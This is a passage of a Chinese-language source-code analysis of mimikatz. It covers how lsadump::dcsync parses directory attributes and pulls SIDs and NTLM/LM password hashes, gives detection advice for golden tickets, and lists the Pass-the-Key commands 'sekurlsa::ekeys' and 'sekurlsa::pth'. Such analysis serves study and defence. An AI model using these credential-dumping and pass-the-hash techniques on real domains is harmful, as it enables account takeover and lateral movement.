  • kuhl_m_lsadump_dcsync_descrObject()函数解析/描述对象,其函数原型如下,其中第一个参数prefixTable和第二个参数attributes分别表示OID和ATTRTYP的映射表,AttrBlock表示一个属性块。其最终会返回一个ATTRVALBLOCK结构

    1
    2
    3
    4
    5
    6
    void kuhl_m_lsadump_dcsync_descrObject(SCHEMA_PREFIX_TABLE *prefixTable,
    ATTRBLOCK *attributes,
    LPCWSTR szSrcDomain,
    BOOL someExport,
    ATTRTYP *pSuppATT_IntId,
    DWORD cSuppATT_IntId)
  • kuhl_m_lsadump_dcsync_descrObject最终会调用kull_m_rpc_drsr_findMonoAttr用户获取指定OID对应的属性值,其中最最最重要的是kull_m_rpc_drsr_findAttr函数,其函数原型如下。其会调用kull_m_rpc_drsr_MakeAttid函数,通过传入的OID生成一个ATTRTYP结构。

    1
    2
    3
    4
    ATTRVALBLOCK * kull_m_rpc_drsr_findAttr(
    SCHEMA_PREFIX_TABLE *prefixTable,
    ATTRBLOCK *attributes,
    LPCSTR szOid)
  • kull_m_rpc_drsr_MakeAttid函数源码如下,很显然,kull_m_rpc_drsr_MakeAttid()首先会截取OID的最后一个数字,接着调用kull_m_rpc_drsr_MakeAttid_addPrefixToTable()取ndx。然后将取到的ndx左移16位,再或运算之后,得到ATTRTYP,这其实是一个ULONG类型。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    BOOL kull_m_rpc_drsr_MakeAttid(SCHEMA_PREFIX_TABLE *prefixTable, LPCSTR szOid, ATTRTYP *att, BOOL toAdd)
    {
    BOOL status = FALSE;
    DWORD lastValue, ndx;
    PSTR lastValueString;
    OssEncodedOID oidPrefix;
    if(lastValueString = strrchr(szOid, '.'))
    {
    if(*(lastValueString + 1))
    {
    lastValueString++;
    lastValue = strtoul(lastValueString, NULL, 0);
    *att = (WORD) lastValue % 0x4000;
    if(*att >= 0x4000)
    *att += 0x8000;
    if(kull_m_asn1_DotVal2Eoid(szOid, &oidPrefix))
    {
    oidPrefix.length -= (lastValue < 0x80) ? 1 : 2;
    if(status = kull_m_rpc_drsr_MakeAttid_addPrefixToTable(prefixTable, &oidPrefix, &ndx, toAdd))
    {
    *att |= ndx << 16;
    }
    else PRINT_ERROR(L"kull_m_rpc_drsr_MakeAttid_addPrefixToTable\n");
    kull_m_asn1_freeEnc(oidPrefix.value);
    }
    }
    }
    return status;
    }
  • 然后通过kull_m_rpc_drsr_findAttrNoOID()遍历整个ATTRBLOCK,ATTRBLOCK结构如下,包含了一个Count表示,ATTR列表的个数,ATTR为一个列表。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    typedef struct _ATTRBLOCK {
    ULONG attrCount;
    ATTR *pAttr;
    } ATTRBLOCK;
    //////////////
    ///函数实现如下:
    ATTRVALBLOCK * kull_m_rpc_drsr_findAttrNoOID(ATTRBLOCK *attributes, ATTRTYP type)
    {
    ATTRVALBLOCK *ptr = NULL;
    DWORD i;
    ATTR *attribut;
    for(i = 0; i < attributes->attrCount; i++)
    {
    attribut = &attributes->pAttr[i];
    if(attribut->attrTyp == type)
    {
    ptr = &attribut->AttrVal;
    break;
    }
    }
    return ptr;
    }
  • 最后,就可以根据ATTRVALBLOCK结构,得到具体的属性值。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    typedef struct _ATTRVAL {
    ULONG valLen;
    UCHAR *pVal;
    } ATTRVAL;
    typedef struct _ATTRVALBLOCK {
    ULONG valCount;
    ATTRVAL *pAVal;
    } ATTRVALBLOCK;
    /////函数实现
    PVOID kull_m_rpc_drsr_findMonoAttr(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, LPCSTR szOid, PVOID data, DWORD *size)
    {
    PVOID ptr = NULL;
    ATTRVALBLOCK *valblock;
    if(data)
    *(PVOID *)data = NULL;
    if(size)
    *size = 0;
    if(valblock = kull_m_rpc_drsr_findAttr(prefixTable, attributes, szOid)) //得到据ATTRVALBLOCK结构
    {
    if(valblock->valCount == 1)
    {
    ptr = valblock->pAVal[0].pVal;
    if(data)
    *(PVOID *)data = ptr;
    if(size)
    *size = valblock->pAVal[0].valLen;
    }
    }
    return ptr;
    }
  • SID和NTLM

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_objectSid, &data, NULL))
    {
    kprintf(L"Object Security ID : ");
    kull_m_string_displaySID(data);
    kprintf(L"\n");
    rid = *GetSidSubAuthority(data, *GetSidSubAuthorityCount(data) - 1);
    kprintf(L"Object Relative ID : %u\n", rid);
    kprintf(L"\nCredentials:\n");
    if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_unicodePwd, &encodedData, &encodedDataSize))
    kuhl_m_lsadump_dcsync_decrypt(encodedData, encodedDataSize, rid, L"NTLM", FALSE);
    if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_ntPwdHistory, &encodedData, &encodedDataSize))
    kuhl_m_lsadump_dcsync_decrypt(encodedData, encodedDataSize, rid, L"ntlm", TRUE);
    if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_dBCSPwd, &encodedData, &encodedDataSize))
    kuhl_m_lsadump_dcsync_decrypt(encodedData, encodedDataSize, rid, L"LM ", FALSE);
    if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_lmPwdHistory, &encodedData, &encodedDataSize))
    kuhl_m_lsadump_dcsync_decrypt(encodedData, encodedDataSize, rid, L"lm ", TRUE);

kerberos::golden 源码分析

Pass The Ticket 检测

  • 在域控侧
  • 1.在前期(也就是lsadump::dcsync),通过检测流量定位DsGetNcChanges流量,判断来源IP是否是已知的域控ip地址。
  • 2.在中期(也就是kerseros::ptt命令),通过检测流量,寻找在通讯流量中,缺省Kerberos通讯过程中第二第二步。因为黄金票据是伪造TGT的,自然不会有TGT请求的流量。
  • 3.在后期,通过获取windows 事件,寻找关键的日志ID,进行分析
    • 3.1 寻找关键的ID(例如4769)
    • 3.2 ID为4769的Kerberos登录事件中,登录的账户不在域中,说明是伪造的!因为这个账户可以是任意的
      在非域控侧
      1.检测mimikatz工具(有特征,例如yara,或者命令行)

白银票据

Pass The Key

  • 又称为OverPass-The-Hash,因为在安装了KB2871997补丁的系统中,常规的非Administator账户是无法使用PtH进行横向传播的,但是可以使用AES进行Pth。
  • mimikatz “privilege::debug” “sekurlsa::ekeys” 获取想要的AES Hash
  • mimikatz sekurlsa::pth 进行PtK攻击

mimikatz检测与防御

lsadump::sam 源码分析